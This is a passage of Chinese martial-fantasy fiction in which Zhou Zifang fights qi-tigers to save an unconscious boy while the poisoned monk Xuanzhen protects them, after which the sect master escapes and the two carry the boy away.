这炁虎或许是被他的凛然之气所震慑,一时间没有贸然进攻。却反而后退了几步,张开了嘴吼了一声,露出獠牙,其犬齿大约有两寸长。 周子方看着这虎,又看了一眼不远处的另一只炁虎,决意不再浪费时间僵持。他将炁灌注于双足,猛然发足,奔向那名昏迷少年。 周子方心中盘算,若他跑了,又背对着炁虎,那炁虎一定会以为他畏惧,向他扑来。这样玄真大师就会安全一些,况且……他终是不忍对那名少年见死不救的! 然而凭他的境界,凭他现在还剩有的炁,一人敌这样两只炁虎,会是以卵击石吗? 箭在弦上,不得不发。既已 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下一刻,他方才那转瞬即逝的念头重新被点燃,得到了验证——玄真大师果然还是用金刚不坏护住了这孩子。 周子方感到心下一松。 然而下一刻,他去看玄真,便见到玄真脖颈上的伤口处已有肿胀。 他眉头一皱,心知当速战速决,不可再耽搁。便直直向这剩下的一只炁虎冲去。 炁虎咆哮一声,口中几乎有涎液滴落,又有腥臭气味从它血盆大口传来。周子方不避不躲,手中重又凝出一柄炁剑,瞄准了炁虎的喉咙。 炁虎往侧边一躺,躲过了第一剑,随后炁虎将后腿猛力一蹬,要踹走周子方。 周子方身体一歪。然而这炁虎反应也快,就在周子方躲避之时已经从地上起来。炁虎的前掌顷刻间便要呼上周子方的头脸。 周子方将炁灌在足底,奋力往上一跃。落下之时,手握拳提起,将炁在拳前凝成长刺,要打向炁虎的额门。 见状,炁虎也直起它肥厚身子,抬起前掌从上挥下,正要拍上周子方左肩。 周子方隐约有一种放心之感,他知道若是他真遇上性命之忧,玄真会救他与水火。然而心念电转,周子方不想玄真再用金刚不坏来护他了,毕竟玄真大师中了毒,或许也分不出这许多炁来了。 周子方仓忙地于自己左侧凝出一道炁墙。此时,炁虎的前掌正击上了炁墙,炁墙就如纸糊的一般被撕裂。 而正在虎掌击上炁墙的前一刻,周子方用力一撑炁墙,空中的身体便往另一边倒去。 纸糊一般的炁墙终归还是让遏阻了一些虎掌的速度和势头,让周子方平安落地。 而周子方在地上还未起来,炁虎却已重新调整了姿势,前掌抬起,竟是要踏上他的胸口! 周子方立刻就地往旁边滚去。 炁虎一掌踏空,接着便是下一掌,要重重对他踏下。周子方只好一劲儿地滚去,这炁虎对他穷追不舍,他压根找不到空隙站起来。 周子方心道要与炁虎拉开距离,便不再看形势,只一味地滚出了好几圈。 当他凝神去看的时候,炁虎已不见踪影。在距离他不远之处,空中蓦然出现了由炁凝成的巨大双掌,现下正静止于合十姿势。想来,这炁虎已经消散于双掌之中。 “施主,血月宗主已趁着方才酣战之时逃离了这里。”玄真单掌竖于胸前,神色中已经无悲无喜,“贫僧本想追踪,然而既放不下这里,贫僧身体情况也不适合再追踪。他在这里时,贫僧需得分神注意各处动向,因此并未助你除虎。方才,他既已逃逸,贫僧便不必再时刻担心他暗中出手,不如就将此事速速了结。” “大师所说,我也深以为然。”周子方道,“大师,你护好自己的筋血心脉,我背着这孩子出去。” 背着少年,搀扶着玄真,周子方忍不住问道:“大师,你说这孩子还有救吗?” “他的魂魄还未散尽,可保性命,然而若是要修炁,怕是很难了。” 周子方握了一把拳头,随即松开了,叹息一声—— “能活下来便是不幸之幸了。”